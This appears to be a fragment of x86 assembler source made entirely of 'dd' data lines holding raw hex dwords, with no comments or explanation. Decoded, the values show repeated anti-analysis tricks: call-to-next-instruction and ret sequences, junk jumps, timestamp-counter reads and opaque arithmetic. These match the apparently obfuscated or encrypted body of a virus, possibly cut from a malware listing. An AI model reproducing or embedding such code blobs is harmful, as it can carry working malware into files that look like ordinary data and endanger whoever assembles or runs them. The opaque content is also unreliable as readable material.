		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 35DDDED3h, 1AC995FFh, 0A6BB0606h, 0B977911Eh
		dd 864h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	93C35545h, 3EA7BCD3h, 0EE940CFh, 39000000h, 8991E91Fh
		dd 77A38A66h, 856DBB21h, 0FCE183D0h, 28E0Fh, 1EB30000h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0B803h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 378A72C3h, 93EB3A99h
		dd 68D0Fh, 0BD8B0000h, 60615D5h, 6890Fh, 0B5090000h, 606240Dh
		dd 0BAh, 95BD8B00h, 0AD060608h,	0E8D1C233h, 0E983D003h
		dd 8BF47504h, 0F9BD8BD9h, 66060615h, 0DE876BBh,	88h, 10CDBD01h
		dd 85890606h, 606078Dh,	28DD958Bh, 8B660606h, 118D8BF9h
		dd 89060611h, 6250DB5h,	0C28B5006h, 0C103188Bh,	0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2DE0C352h, 0B75D83F3h
		dd 0F81B4893h, 9D23BCB3h, 6061EF1h, 1AF5BD83h, 0F000606h
		dd 6584h, 0AD9D0B00h, 0B8060607h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 11C35242h
		dd 0ED9D8B5Fh, 8D060633h, 64ED28Dh, 0D88B6606h,	0FFDBB70Fh
		dd 51006AE1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0CBA2D119h, 0A784B0AEh, 8B665776h, 0BD835BF8h
		dd 6062E49h, 78840F00h,	89000004h, 61689BDh, 49BD8306h
		dd 106062Eh, 480840Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0C0709BC3h, 0EA66694Ch
		dd 81663E4Eh, 83F312DBh, 62E49BDh, 860F0306h, 414h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h, 5914E67Dh
		dd 0BF662250h, 666021D9h, 66F0AEBBh, 6AD98Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 73470AC3h
		dd 0C415826Fh, 46EF808Dh, 6604E180h, 9CA2DF81h,	840FC90Ah
		dd 144h, 25CD9D8Bh, 858B0606h, 6062589h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 0DEC35545h, 0F9578B04h
		dd 0ED9D8B5Fh, 33060633h, 6342585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 85D34A47h
		dd 1595726h, 895F5750h,	6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1934D9C3h, 24233FDFh
		dd 8166E30Dh, 6A5F88EFh, 0A9B58900h, 68060603h,	0C0930848h
		dd 9381A1BFh, 24048172h, 3F8BFBB7h, 830F5251h, 0
		dd 10E95F5Bh, 45000000h, 0D5CBDF45h, 0A55154CDh, 4637899h
		dd 0FF97B4FEh, 6222195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 7E94Bh, 8C3E0000h, 831950B6h
		dd 0A48589C3h, 6A0609A4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 326DC351h, 66E184BAh
		dd 0E9CE7CBBh, 1E3h, 1E890Fh, 820F0000h, 18h, 13E9h, 88514100h
		dd 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h, 0A89C9A9Fh, 0A49C858Bh
		dd 0FC8A0609h, 1800C7h,	0B58B0000h, 609A4A0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 13C35646h, 96DE2AB4h
		dd 8B3EEAB6h, 62DA985h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B1CAC38h, 0CFAE309Ah
		dd 6897FB0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	5DC35141h, 0BD89D172h, 6062BD1h, 2589858Bh, 810F0606h
		dd 6, 27CD9D8Bh, 810F0606h, 2, 4689F98Bh, 12E904h, 51530000h
		dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 7C3AEDCh, 50D98B96h
		dd 40D4BF66h, 0BE896h, 46F40000h, 73C7BC73h, 0BD45F3EFh
		dd 10E9BEh, 93480000h, 795246Bh, 6BA4707Fh, 9447E507h
		dd 0E95B039Ah, 7, 0DA8DBAF5h, 0FFD97379h, 9A49CB5h, 35BD8B06h
		dd 68060621h, 0D37054E1h, 178D0Fh, 12E90000h, 5D000000h
		dd 0A04D0071h, 0C1CBBB17h, 58328B05h, 7F37F006h, 24048120h
		dd 2CAEAF1Eh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	93C35343h, 0A7DF8166h, 0A4858D07h, 6A0609A4h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 9653C356h, 501FA1D1h, 489C9B7h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 89777BEAh
		dd 0B30308DCh, 0FFD8B70Fh, 6222195h, 14870F06h,	0E8000000h
		dd 8, 32EF2C12h, 0C69D3834h, 33F9BD8Bh,	615F0606h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 60C35040h, 0FAA4D1C3h
		dd 545A0F9Eh, 68B0Fh, 0BD8B0000h, 6062CBDh, 21952956h
		dd 5F060625h, 2E4985C7h, 30606h, 8E90000h, 0FA000000h
		dd 84D51073h, 1D58E2Ah,	60071B5h, 0A4BD8306h, 609A4h, 4A840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 3FB799C3h, 42E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FBC2BC00h
		dd 66DF979Dh, 0A19EEF81h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 8FC5C355h, 4DBD8Bh
		dd 8B660606h, 83D98BFAh, 62E49BDh, 850F0306h, 421h, 0BD83F98Ah
		dd 609A4A4h, 12840F00h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 6586C350h
		dd 82EEC4BFh, 0A4B5FF65h, 6A0609A4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 5976C356h
		dd 5D8D2912h, 0FF06060Bh, 60D7195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0ABCCD0BAh
		dd 0DBDC82B4h, 2DBD8BAAh, 8B060615h, 9A498B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 41065BE7h, 8E969h, 84A90000h, 0B9CA0F8Eh, 6C71B1Bh
		dd 10001h, 6860Fh, 0BD8B0000h, 6063411h, 860F5096h, 2
		dd 8B96DA8Bh, 0A4B5FFF8h, 6A0609A4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 1603C353h
		dd 0FB8B0C73h, 0EE8E524h, 75000000h, 0EEAD8B2Eh, 0CC26D8F9h
		dd 0AB984CA1h, 89BD2910h, 5B060626h, 1E4995FFh,	0BB660606h
		dd 0B58B1F9Dh, 609A498h, 26D38166h, 0C5858B03h,	6A06062Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 5842C351h, 438A536h, 0C48689F5h, 29000000h
		dd 60D6D85h, 0DD958B06h, 0F060628h, 68Ah, 2DBD8B00h, 8306062Dh
		dd 8D0104C2h, 6063119h,	6A205089h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E34CC357h
		dd 37BF666Eh, 75858DCFh, 6A0609B7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8F0AC350h
		dd 0D4EF3E47h, 0BD096005h, 6061041h, 0CE8h, 0C600A400h
		dd 0B9040A6h, 0C7CE248Eh, 85BD3125h, 5F06060Bh,	0B88689h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 313934C3h, 6122D8Dh, 0C98D2906h, 6A06061Bh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0E0E1B1C5h, 27530B03h, 76DBD8Bh,	0B5FF0606h
		dd 609A4A4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0D9C35040h, 4AAC1E37h, 0F88B668Ah, 2C1D95FFh, 6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 18BD67C3h, 0A1B750E0h, 0E9243489h, 8, 0B6D54A79h, 3E6E562Fh
		dd 0A4A4B5FFh, 0F98B0609h, 1CA595FFh, 6A0606h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 33D1B8C3h, 1C99BD83h, 0F000606h, 6C84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 860FD75Dh, 0
		dd 0F525096h, 0B84h, 5E800h, 95F20000h,	5BB5EF45h, 8B66310Fh
		dd 50585AFEh, 11E8h, 3094F500h,	9A217458h, 3F16970Eh, 0F8748110h
		dd 8E9B9E6h, 0A9000000h, 0FE583A14h, 5B0CDEA0h,	28A0F96h
		dd 8B000000h, 0A4B5FFD8h, 8B0609A4h, 62D61BDh, 0FD95FF06h
		dd 6A06061Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 81AAC352h, 3ABEAB4Eh, 0E88FA84Ah
		dd 6, 5F6BBCF7h, 0B5296983h, 6062F69h, 0A4B5FF5Fh, 6A0609A4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0C86FC356h, 73FD89E6h, 0A3D38166h, 1995FF0Fh
		dd 8B06062Bh, 62AFD9Dh,	65BD8306h, 206062Fh, 30840Fh, 9D8B0000h
		dd 606258Dh, 15F1858Bh,	0C60606h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0EC17BB43h
		dd 85C75B56h, 606034Dh,	0
		dd 38B0Fh, 8B660000h, 0F395E9FEh, 0C18BFFFFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 99C35040h, 47B7A1F9h
		dd 0DE8h, 325E0C00h, 0DD7FCA4Dh, 45A8C02Ch, 0BD893DC4h
		dd 6061DD5h, 0C9BD8B5Bh, 8D06061Eh, 6236985h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 12DCABF4h, 4BCE605Fh, 0F28B6660h, 9D8B61F9h,	6060229h
		dd 57525090h, 0F310F5Bh, 282h, 5A616000h, 0F7BF5058h, 9031E2D3h
		dd 14E9h, 4CD49800h, 0DB912BDDh, 734AE749h, 4ECA9260h
		dd 268152DEh, 66006AABh, 918DCF81h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 3D5D9C3h
		dd 0EE858D6Eh, 0E9060AB1h, 0Ah,	0BB136690h, 0E3CEC8C7h
		dd 0C083A3B0h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 9D89504Ah, 6060245h, 66C4BF5Bh
		dd 509002FCh, 50525052h, 5A310F52h, 0F310F58h, 8Dh, 0F585A00h
		dd 0E9BB6631h, 50585AB7h, 8B905B56h, 60006AF9h,	0BD89C4B5h
		dd 606012Dh, 8B006A61h,	62D7DBDh, 0FFDE8B06h, 62F9D95h
		dd 8D8DFC06h, 6099515h,	5FF98B56h, 6AD1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 44D4D0C3h
		dd 1DCD9D8Bh, 0BD830606h, 6061D3Dh, 78850F01h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B88C352h, 601A99Dh, 0BF026A06h, 0FDA6E46h
		dd 7FBF6650h, 24048933h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0DBC35141h, 493A07DAh, 847BE381h, 10E93336h
		dd 1C000000h, 71D24058h, 8CBFC48Fh, 0EAE540C1h,	0FF11A14Bh
		dd 62C1D95h, 89B58906h,	0E9060616h, 0D95h, 0E8h, 0ED815D00h
		dd 60AB1F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	92C35040h, 1AA11296h, 29419D8Bh, 0BD0B0606h, 606087Dh
		dd 8EE5858Dh, 0F900609h, 286h, 505F5300h, 12E8h, 0ABF4E100h
		dd 605F12DCh, 9254BCEh,	2811C860h, 0E9DF8A2Ah, 6, 81F0E038h
		dd 905F7554h, 64DABF0Fh, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 1EBB2AC3h
		dd 644C6660h, 2589h, 85890000h,	60615E9h, 0F5D85FFh, 5B560606h
		dd 48B3FF6Ah, 1325B5FFh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 4A602C3h, 0FFE8C380h
		dd 612FD95h, 151E906h, 0B00000h, 22399589h, 70E60606h
		dd 8759589h, 71E40606h,	11E9h, 90A78E00h, 87386E48h, 0A7FF3D96h
		dd 220DFDCBh, 613C8020h, 121830Fh, 0BD2B0000h, 6062AF5h
		dd 1C8B60Fh, 62D8585h, 15BD8B06h, 0BA06062Fh, 6, 61BD8BF5h
		dd 8B06060Fh, 8DB501C1h, 0C106062Ah, 0B52904E8h, 6062D85h
		dd 15890Fh, 10E90000h, 87000000h, 59E61893h, 77283422h
		dd 6012EF0Ch, 66BF357Bh, 0BB51E2F7h, 43F3E620h,	8BC82B5Bh
		dd 5E8D1h, 74CA0000h, 66048E2Bh, 5BFC76BBh, 0E9F9B70Fh
		dd 0AFh, 8858Bh, 85290000h, 6061559h, 0E807C083h, 13h
		dd 0B2F629A4h, 33346BC3h, 0D95CD2CDh, 1FF2827Ah, 5F63B828h
		dd 2900C083h, 61A398Dh,	0FD03B06h, 2783h, 6E800h, 13C10000h
		dd 9EF7D39Ch, 0FF18501h, 0F5B0606h, 185h, 58E9FC00h, 8B000000h
		dd 61391BDh, 1ACB8006h,	0FFFF8D8Bh, 8C0FFFFFh, 0Fh, 8E956h
		dd 0AD620000h, 0FE1D63DFh, 835FC193h, 840F01E1h, 2Bh, 2A6DBD8Bh
		dd 0BD290606h, 60612ADh, 0FFFFA583h, 0FCFEFFFFh, 89589h
		dd 8A0F0000h, 6, 4A19D8Bh, 0E90606h, 8D000000h,	0A31CEB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 42C8198h, 6EC380B1h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0F5481DC3h
		dd 0FE26DA98h, 8DBD8966h, 0FF06060Bh, 61AC995h,	0D19D3306h
		dd 89060603h, 60F2D95h,	107CB906h, 6E90000h, 4A000000h
		dd 862EF6FDh, 0FCE183ACh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 20C35545h, 92DF56EEh,	5049CABFh, 10A58D09h
		dd 1FC0606h, 620A9B5h, 6AC02B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 2229C350h
		dd 1C7E224h, 6156595h, 6AD22B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F901C357h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DFC35343h,	9E8C06DCh, 0B61C09A9h
		dd 0CDF78166h, 50006A64h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D3FCE655h, 2B7D9D2Bh
		dd 880D0606h, 0F000000h, 0DE8F8B7h, 0D9000000h,	45A44A8Eh
		dd 0DB7FD818h, 2617A52Fh, 3830Fh, 0B70F0000h, 958B5BDFh
		dd 60628DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	62C35646h, 9896B8C5h, 6BB66C5h,	118D8B3Eh, 6A060611h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 16C6C350h, 81CE5DD8h, 61C4FCBh, 0C28B5012h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6692C355h, 6AF88Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0B60C90C3h, 9D3352D0h, 6062881h
		dd 12E85Fh, 42700000h, 487DC659h, 734BACD5h, 0B0F9D613h
		dd 12F6C979h, 0CD8D8950h, 5F060624h, 0F5BD835Bh, 6061Ah
		dd 7D840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 180424h, 50400000h, 41AECAC3h, 8B661241h, 0B8DEh, 9D890000h
		dd 6061579h, 4ED28D8Dh,	6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0AF2D24C3h, 4EFE3E74h
		dd 6AE1FFCAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 12FDC355h, 0C902B56h, 8348D0B6h
		dd 62E49BDh, 840F0006h,	3EFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 1C35040h, 0F7E65ED8h, 6E8CF65Bh
		dd 2E49BD83h, 0F010606h, 3D984h, 0BD83F900h, 6062E49h
		dd 95860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 2DB5C357h, 14E9h, 0DFDFF900h
		dd 7DD447A5h, 94C747DEh, 9CF4541Ah, 7FC4CFE2h, 8B666017h
		dd 0D98C66F9h, 68CF8060h, 1A999533h, 80610606h,	0DE804E1h
		dd 8A000000h, 2B8076D5h, 7DACA70Ah, 0E2DF26h, 13E9h, 8DAD9800h
		dd 7BDAD783h, 766C2387h, 192B45C9h, 676C82A4h, 0FC90A5Fh
		dd 10484h, 0A6BB6600h, 89858B2Ch, 6A060625h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6C5FC351h, 815D0332h, 5C9335C7h, 25853358h, 0F060634h
		dd 0B8Bh, 6E900h, 0D2E70000h, 7A9A47Eh,	0B3DF8166h, 890F9094h
		dd 0Ch,	8B665250h, 66310FF8h, 585AFB8Bh, 0DA8B6650h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 265CF1DFh, 6A1A58h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 5EC35141h, 21559D89h,	52680606h, 8B1C0CE6h
		dd 243481F8h, 1C13E5ADh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0FEC35343h, 2F05B509h, 95FF0606h, 6062221h
		dd 8589DE8Bh, 609A4A4h,	0EE8h, 93F6D800h, 3016AE99h, 5E37996Ah
		dd 5F97DACBh, 173E9h, 99BF6600h, 9C858B05h, 6A0609A4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 1C32C351h, 8E9A691h, 0C8000000h, 6003475Ah
		dd 8B5C0202h, 612B5BDh,	1800C706h, 0E9000000h, 5, 0ADD1EA2Bh
		dd 8DBD894Ch, 8B060617h, 9A4A0B5h, 358D0906h, 8B06062Fh
		dd 62DA985h, 6A068906h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0CC2BC355h,	6690A234h
		dd 8B66DA8Bh, 89858BDEh, 6A060625h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7546C353h
		dd 38396885h, 8B35EDA8h, 44689FBh, 8A526050h, 800F5BCEh
		dd 2, 8961FD8Ah, 8B662434h, 9CB5FFD8h, 6A0609A4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 7F50C351h, 44D96803h, 870F1DFBh, 2, 348115B7h, 0E4472624h
		dd 0E19D8B1Dh, 8D060630h, 9A4A485h, 12E806h, 86C0000h
		dd 110C4133h, 293684h, 0ECF534D5h, 34A9752h, 0BAC1E781h
		dd 505F1EC1h, 2D870Fh, 13E80000h, 0DE000000h, 0B45283F2h
		dd 73D81CABh, 493BFC8Eh, 40EC2307h, 0EE8AAA6h, 94000000h
		dd 2ADB5CF4h, 1B72AF3Bh, 79F0885Ah, 895F5F89h, 0FFFC2404h
		dd 6222195h, 0FFB70F06h, 0BD8B6061h, 6061EA9h, 2981B52Bh
		dd 0F610606h, 586h, 9CCEBB00h, 85C705BAh, 6062E49h, 3
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0CEC35040h
		dd 0C98A6472h, 83EE08E1h, 9A4A4BDh, 840F0006h, 50h, 8880Fh
		dd 0F570000h, 84h, 0BD8B5F00h, 6062615h, 52E9h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6039FBAEh, 12E9h, 0C8FA4600h, 0AB94660Bh, 78596C3Ch
		dd 908F9DA3h, 61082E20h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0D226C351h,	8940DE7h
		dd 0E95A60ABh, 7, 175C10C4h, 29C7F997h,	625AD85h, 49BD8306h
		dd 306062Eh, 40B850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 9F95ACC3h, 0E5FC40E2h
		dd 23AA81EEh, 62F99BDh,	66B96006h, 801816ADh, 83615CD3h
		dd 9A4A4BDh, 840F0006h,	3C9h, 245BD8Bh,	0B5FF0606h, 609A4A4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FDC35141h
		dd 0FFDD8AAFh, 60D7195h, 98B58B06h, 890609A4h, 61B859Dh
		dd 106C706h, 6A000100h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5317C351h, 8B65A233h
		dd 624119Dh, 8EF38106h,	504D3ABAh, 0D708EABFh, 2434897Fh
		dd 0A4A4B5FFh, 6A0609h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0FAF1D5C3h, 7AF34E59h, 66487704h
		dd 0FF29C3BFh, 61E4995h, 8B5F5006h, 9A498B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 1CFC8957h, 5D53293Bh, 0BBE78147h, 8B173E6Ah,	62FC585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0D3808E6Fh, 6CBE851Bh, 8B66E483h, 0C48689DFh
		dd 0E8000000h, 14h, 1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h
		dd 69D55FEDh, 958B5FF5h, 60628DDh, 83C1F780h, 89F504C2h
		dd 860F2050h, 6, 810Fh,	858D0000h, 609B775h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BFC35242h, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0AC1F6C3h, 810F3C15h, 0Ah, 5E9h, 77D21600h
		dd 6A95D6h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Ch,	76C35343h, 5CF297Fh, 8D525289h,	0A4A4B5FFh, 9D8B0609h
		dd 606010Dh, 2C1D95FFh,	6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0AEAE21C3h, 248CB45Dh
		dd 12BFBC24h, 96671972h, 964AB350h, 22018D89h, 0BD8B0606h
		dd 6060D6Dh, 0A4A4B5FFh, 6A0609h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CCC160C3h, 8BF0C780h
		dd 62CD9BDh, 0A595FF06h, 6A06061Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 90BFC352h
		dd 8E8F0h, 0ADC0000h, 551C16A2h, 0B70F3027h, 0BD835FDFh
		dd 6061C99h, 38840F00h,	8B000000h, 61E419Dh, 0BB669606h
		dd 0F50EEFEh, 83h, 6A9600h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 2F8C8DC3h, 0FF5C78CCh
		dd 0FFDE8B66h, 9A4A4B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 3DB3A7F3h, 1CA19D8Bh
		dd 95FF0606h, 6061FFDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 4EC35242h, 88E767C3h,	19BD8BF7h, 0FF060631h
		dd 9A4A4B5h, 198D3106h,	0FF060608h, 62B1995h, 0FA8B6606h
		dd 2F65BD83h, 0F020606h, 8484h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 36742749h
		dd 5A825259h, 2159BD8Bh, 858B0606h, 60615F1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 3DC35040h, 14A19D8Bh
		dd 0C60606h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0E7D8F0A1h, 0F2432A13h, 6830F76h
		dd 23000000h, 62B1D9Dh,	4D85C706h, 60603h, 53000000h, 6303BF66h
		dd 0F32AE95Fh, 6E9FFFFh, 0AD000000h, 494ECF8Ch,	8BC18BBCh
		dd 6157DBDh, 69858D06h,	6A060623h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3DEFC351h
		dd 0A9ECDA1Eh, 0A4F9A27Fh, 24D98589h, 89500606h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 16D1A5C3h
		dd 0CDBD0141h, 6A060614h, 6A006A00h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0BD16C357h
		dd 51569831h, 62F2F7B7h, 12E8h,	0B1553E00h, 0BC37B711h
		dd 5FE6362Bh, 51BB75D4h, 0BB64BC22h, 4C5D70DAh,	0D8858D5Fh
		dd 0E8060AC1h, 0Bh, 44AFFD0Dh, 0AF0B4F2Dh, 3184BCC2h, 6206595h
		dd 0CB815B06h, 17E138FFh, 6A05C083h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F83DC356h
		dd 0BB5059B9h, 6804A50Fh, 8B240489h, 6218D9Dh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 2641C353h, 0F75F3FEBh, 0AEA1A8Ah,	0BD8BF98Bh
		dd 6060F19h, 0FE9006Ah,	28000000h, 2C3CEB2Dh, 254EB3F1h
		dd 573BB21Eh, 0BD8B9814h, 6061C95h, 2F9D95FFh, 0BD2B0606h
		dd 6060B55h, 95158D8Dh,	8E80609h, 0BA000000h, 47EE13EBh
		dd 1388ED7h, 629B1B5h, 0D1FF5B06h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0AAC35343h,	73ABE989h, 5D4089F3h
		dd 83FE8B66h, 61D3DBDh,	850F0106h, 0B5h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 4BC35040h, 9DBD8BFCh
		dd 6A060620h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0A820FE0h, 60000000h, 11618D89h
		dd 5F510606h, 0D98B9061h, 0CE950h, 37920000h, 3870C3B1h
